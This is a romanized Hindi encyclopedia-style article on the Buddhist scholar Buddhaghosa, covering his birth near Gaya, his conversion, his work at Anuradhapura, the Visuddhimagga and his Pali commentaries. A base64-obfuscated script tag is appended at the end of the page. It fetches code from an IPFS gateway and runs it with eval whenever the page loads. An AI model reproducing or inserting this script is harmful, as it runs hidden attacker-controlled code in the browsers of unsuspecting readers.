बुद्धघोष

buddhaghosh prasiddh bauddhachary, jinhoanne pali sahity ko samriddh kiya tha. bauddh achary buddhaghosh ka jivan charitr gandhavansh, buddhaghosupatti saddhammasangrah adi mean milata hai. buddhaghosh ne apani alpavastha mean hi vedoan ka jnan prapt kar liya tha. usane yog ka bhi gahan abhyas kiya tha. apani jnanavriddhi ke lie desh mean paribhraman v vidvanoan se buddhaghosh ne kee bar vadavivad bhi kiya. apane guru raivat ke kahane se ye shrilanka ge the aur vahaan anuradhapur ke mahavihar mean sanghapal namak sthavir se sianhali atthakathaoan aur sthaviravad ki paranpara ka shravan kiya.

janm

buddhaghosh ki rachana 'dharmakirti' ke anusar usaka janm bihar ke aantargat gaya mean bodhivriksh ke samip hi kahian hua tha. vah balyakal se hi pratibhashali tha, aur usane alpavastha mean hi vedoan ka jnan prapt kar liya tha. yog ka bhi abhyas kiya. phir vah apani jnanavriddhi ke lie desh mean paribhraman v vidvanoan se vadavivad karane laga.

bauddh dharm mean diksha

ek bar vah ratri vishram ke lie kisi bauddh vihar mean pahuanch gaya. vahaan raivat namak sthavir se bad mean parajit hokar bauddh dharm ki diksha le li. tatpashchath usane 'tripitak' ka adhyayan kiya. usaki asadharan pratibha evan bauddh dharm mean shraddha se prabhavit hokar bauddh sangh ne use 'buddhaghosh' ki padavi pradan ki. usi vihar mean rahakar buddhaghosh ne "jnanoday" namak granth bhi racha. yah granth abhi tak mila nahian hai. tatpashchath unhoanne 'abhidhammapitak' ke pratham nag dhammasangani par 'aththasalini' namak tika likhi. unhoanne tripitak ki atthakatha likhana bhi aranbh kiya.

yogyata ki pariksha

buddhaghosh ke guru raivat ne unhean batalaya ki bharat mean keval shrilanka se mool pali 'tripitak' hi a sakata hai. unaki mahasthavir maheandr dvara sankalit atthakathaean sianhali bhasha mean lanka dvip mean vidyaman haian. at: tumhean vahian jakar unako sunana chahie aur phir unaka magadhi bhasha mean anuvad karana chahie. tadanusar buddhaghosh lanka ge. us samay vahaan mahanam raja ka rajy tha. vahaan pahuanchakar unhoanne anuradhapur ke mahavihar mean sanghapal namak sthavir se sianhali atthakathaoan aur sthaviravad ki paranpara ka shravan kiya. buddhaghosh ko nishchay ho gaya ki dharm ke adhinayak buddh ka vahi abhipray hai. unhoanne vahaan ke bhikshusangh se atthakathaoan ka magadhi roopaantar karane ka apana abhipray prakat kiya. is par sangh ne unaki yogyata ki pariksha karane ke lie "aanto jata, bahi jata" adi do prachin gathaean dekar unaki vyakhya karane ko kaha. buddhaghosh ne unaki vyakhya roop 'visuddhimagg' ki rachana ki, jise dekh sangh ati prasann hua aur usane unhean bhavi buddh maitrey ka avatar mana. tatpashchath unhoanne anuradhapur ke hi granthakar vihar mean baithakar sianhali atthakathaoan ka magadhi roopaantar poora kiya aur tatpashchath bharat laut ae.

rachanaean

bauddh achary buddhaghosh ki pramukh rachanaean nimnalikhit haian-

1. papanchasoodani
2. saratthapakasini
3. samant pasadika
4. kankhavitarani
5. jatak-atthavannana
6. bisuddhimagg
7. panchappakaran atthakatha
8. sumangalavilasini
9. manorathajotika
10. paramatthajotika
11. atthashalini
12. sanmohavinodani
13. dhammapad-attakatha

buddhaghosh ne pali mean sarvapratham atthakathaoan ki rachana ki. pali 'tripitak' ke jis aanshoan par unhoanne atthakathaean nahian likhian, un par buddhadatt aur dharmapal ne tatha anand adi any bhikshuoan ne atthakathaean likhakar pali tripitak ke vistrit vyakhyan ka kary poora kiya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>